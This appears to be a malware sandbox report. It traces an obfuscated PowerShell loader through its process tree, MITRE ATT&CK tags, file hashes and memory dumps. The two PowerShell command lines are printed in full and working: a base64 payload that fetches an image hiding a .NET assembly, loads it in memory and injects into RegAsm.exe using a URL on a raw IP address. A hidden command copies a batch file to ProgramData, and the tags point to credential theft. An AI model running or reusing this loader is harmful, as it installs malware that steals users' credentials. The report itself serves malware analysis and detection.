AaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAh@AB1AHIAbgAgACQAh@wBlAGIAQwBsAGkAZQBuAHQALgBEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAcgBlAHQAh@QByAG4AIAAkAG4Ah@QBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAh@AB0AHAAJwA7AAoAIAAgACAAIAAgACAAIAAgACQAQgB5AHQAZQBzADIAIAA9ACAAJwBzADoALwAvACcAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwB4AGsAZAByAHoANAB0AG4ANgBsAC4Ah@QBmAHMALgBzAGgALwBmAC8AQgB5AGUAbgByAGsAeAA3AEQASwBNAHkAUwBHAGcAMwBGAGUARABuADMANgBOADIAZQBtADkAZgBWAGcANwB3AHgAVQBUAHoAQQAxAEIASABqAE0ASQBaADUAWAB0AFkAJwApACwAIAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAh@gB2AHYAcABtAHMAYwB2AHQAbABoAGMAagBiAHkAYgByAHcAagBnAC4AcwB1AHAAYQBiAGEAcwBlAC4AYwBvAC8AcwB0AG8AcgBhAGcAZQAvAHYAMQAvAG8AYgBqAGUAYwB0AC8AcAB1AGIAbABpAGMALwBzAHUAZABvAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsACgAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAh@AAuAEUAbgBjAG8AZABpAG4AZwBh@ADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAh@ABlAHMAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfACcAIAArACAAJwBTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAIAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAHMAh@ABhAHIAh@ABGAGwAYQBnACkAOwAgAAoAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAKACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAKQAgAHsAIAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAArAD0AIAAkAHMAh@ABhAHIAh@ABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAgAAoAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAOwAKACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsACgAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZABCAHkAh@ABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAh@ABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBh@ADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsACgAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAh@AAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAAoAIAAgACAAIAAgACAAIAAgACQAh@AB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAHQAZQBzAHQAcABvAHcAZQByAHMAaABlAGwAbAAuAEgAbwBhAGEAYQBhAGEAYQBzAGQAbQBlACcAKQA7AAoAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAh@AAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAAoAIAAgACAAIAAgACAAIAAgACQAaQBuAGoAZQBjACAAPQAgACcAUgBlACcAIAArACAAJwBnAEEAcwBtACcAOwAKACAAIAAgACAAIAAgACAAIAAkAG0AZQB0AGgAbwBkACAAPQAgACQAh@AB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBsAGYAcwBnAGUAZABkAGQAZABkAGQAZABhACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBh@ACAAKAAnAHQAeAB0AC4AZABhAG8AbABwAHUAZAB4AHUAbABZAC8Ah@AB4AHQALwAzADcAMQAuADIANQAuADYAMQAuADgANwAxAC8ALwA6ACcALAAgACcAMQAnACwAIAAnAHMAbQBkAGwAbAAuAGUAeABlACcALAAgACQAaQBuAGoAZQBjACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQApAH0AfQA7AAoA'';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $jghjghjgjghjghhjg.replace(''h@'',''d'')));iex $OWjuxD\"'"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$jghjghjgjghjghhjg = 'IAAgACAAWwBOAGUAh@AAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBh@AF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAh@wBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAh@AAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4Ah@AA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAh@QBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAh@ABPAGIAagBlAGMAh@AAgACQAbABpAG4AawBzACAALQBDAG8Ah@QBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAh@ABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAGwAaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAh@AB1AHIAbgAgACQAh@wBlAGIAQwBsAGkAZQBuAHQALgBEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAcgBlAHQAh@QByAG4AIAAkAG4Ah@QBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAh@AB0AHAAJwA7AAoAIAAgACAAIAAgACAAIAAgACQAQgB5AHQAZQBzADIAIAA9ACAAJwBzADoALwAvACcAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwB4AGsAZAByAHoANAB0AG4ANgBsAC4Ah@QBmAHMALgBzAGgALwBmAC8AQgB5AGUAbgByAGsAeAA3AEQASwBNAHkAUwBHAGcAMwBGAGUARABuADMANgBOADIAZQBtADkAZgBWAGcANwB3AHgAVQBUAHoAQQAxAEIASABqAE0ASQBaADUAWAB0AFkAJwApACwAIAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAh@gB2AHYAcABtAHMAYwB2AHQAbABoAGMAagBiAHkAYgByAHcAagBnAC4AcwB1AHAAYQBiAGEAcwBlAC4AYwBvAC8AcwB0AG8AcgBhAGcAZQAvAHYAMQAvAG8AYgBqAGUAYwB0AC8AcAB1AGIAbABpAGMALwBzAHUAZABvAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsACgAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAh@AAuAEUAbgBjAG8AZABpAG4AZwBh@ADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAh@ABlAHMAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfACcAIAArACAAJwBTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAIAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAHMAh@ABhAHIAh@ABGAGwAYQBnACkAOwAgAAoAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAKACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAKQAgAHsAIAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAArAD0AIAAkAHMAh@ABhAHIAh@ABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAgAAoAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAOwAKACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsACgAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZABCAHkAh@ABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAh@ABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBh@ADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsACgAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAh@AAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAAoAIAAgACAAIAAgACAAIAAgACQAh@AB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAHQAZQBzAHQAcABvAHcAZQByAHMAaABlAGwAbAAuAEgAbwBhAGEAYQBhAGEAYQBzAGQAbQBlACcAKQA7AAoAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAh@AAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAAoAIAAgACAAIAAgACAAIAAgACQAaQBuAGoAZQBjACAAPQAgACcAUgBlACcAIAArACAAJwBnAEEAcwBtACcAOwAKACAAIAAgACAAIAAgACAAIAAkAG0AZQB0AGgAbwBkACAAPQAgACQAh@AB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBsAGYAcwBnAGUAZABkAGQAZABkAGQAZABhACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBh@ACAAKAAnAHQAeAB0AC4AZABhAG8AbABwAHUAZAB4AHUAbABZAC8Ah@AB4AHQALwAzADcAMQAuADIANQAuADYAMQAuADgANwAxAC8ALwA6ACcALAAgACcAMQAnACwAIAAnAHMAbQBkAGwAbAAuAGUAeABlACcALAAgACQAaQBuAGoAZQBjACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQApAH0AfQA7AAoA';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $jghjghjgjghjghhjg.replace('h@','d')));iex $OWjuxD"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if ((Get-Location).Path -ne 'C:\ProgramData') { (Get-ChildItem *.bat | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\ProgramData\smdll.exe.bat' -Force }
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1332
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1732

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8ca943c02c163cdf5099c1a6f7795399ec72d9d3520f97e01b2cc3fa5a381d5d
MD5 80814906f25b1fe1f0e57faff079ac06
SHA1 2d345eb65650071b9d08c4f23605d016155eb41a
SHA512 60b87cbff23bbca996c907b472e16d64e4d9d9d805fbd97a7f0a36d7f136be242f5e8d9b7a9caf16f7d44fafd2be2a8b69116c9b00e1546727f1a9c6aca6a3de
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3f3a2524fb7d5e12ce59b9ce357b302e4b2c5d567e04a93018ad53fc69e50ce9
MD5 7a7c591bb6b5792facf8b94455260646
SHA1 e7a30e4ff31cdb3765cf93e172fbd9b15e796dbf
SHA512 b329a8f1975136acc79ed7d921e5c567dc2be53da2ab6c2acb5b406cce571f3d4522afc2c0c8e4e9590bf46c5dc19ef82bc27f37acfb41d7c0d7915ab81adb9f
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d73a2b848b6d39f3324dc825e7fae3dcd8b3bb02be19c82e0deb59e729cf5f49
MD5 d30769eea134f5ba20bf7300271bcf58
SHA1 744d758724b837a6a2fde44547fceea242b4dabb
SHA512 10ae8d7c5bc910867a2cce2c3042c057f4fef5ee5645d7a5beffa3d0021e6af9d504f788dcd617ff719da0da68f3d823726cb865c96922f1634fe995003fc5b9
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_z1f2df5p.zib.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z1f2df5p.zib.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/220-35-0x000001D185AA0000-0x000001D186562000-memory.dmp

Download

memory/220-22-0x000001D183DC0000-0x000001D183DDC000-memory.dmp

Download

memory/220-13-0x000001D18626A000-0x000001D18626B000-memory.dmp

Download

memory/220-14-0x000001D185AA0000-0x000001D186562000-memory.dmp

Download

memory/1332-62-0x000002CB1D520000-0x000002CB1DFE2000-memory.dmp

Download

memory/1776-66-0x0000017EE7710000-0x0000017EE81D2000-memory.dmp

Download

memory/1968-31-0x000002A4EAF50000-0x000002A4EBA12000-memory.dmp

Download

memory/3772-45-0x000002D21C310000-0x000002D21CDD2000-memory.dmp

Download

memory/4324-32-0x0000000000400000-0x0000000000460000-memory.dmp

Download

memory/4324-43-0x0000000004E90000-0x0000000004F66000-memory.dmp

Download

memory/4324-67-0x0000000005050000-0x00000000050B6000-memory.dmp

Download

memory/4324-68-0x0000000005CC0000-0x0000000005D52000-memory.dmp

Download

memory/4324-69-0x0000000006310000-0x00000000068B6000-memory.dmp

Download

memory/4952-9-0x00000175D0E30000-0x00000175D18F2000-memory.dmp

Download

memory/4952-12-0x00000175D0E30000-0x00000175D18F2000-memory.dmp

Download

memory/4952-8-0x00000175D0E30000-0x00000175D18F2000-memory.dmp

Download

memory/4952-0-0x00000175D15FA000-0x00000175D15FB000-memory.dmp

Download

memory/4952-1-0x00000175E9BE0000-0x00000175E9C02000-memory.dmp

Download

memory/4952-10-0x00000175D0E30000-0x00000175D18F2000-memory.dmp

Download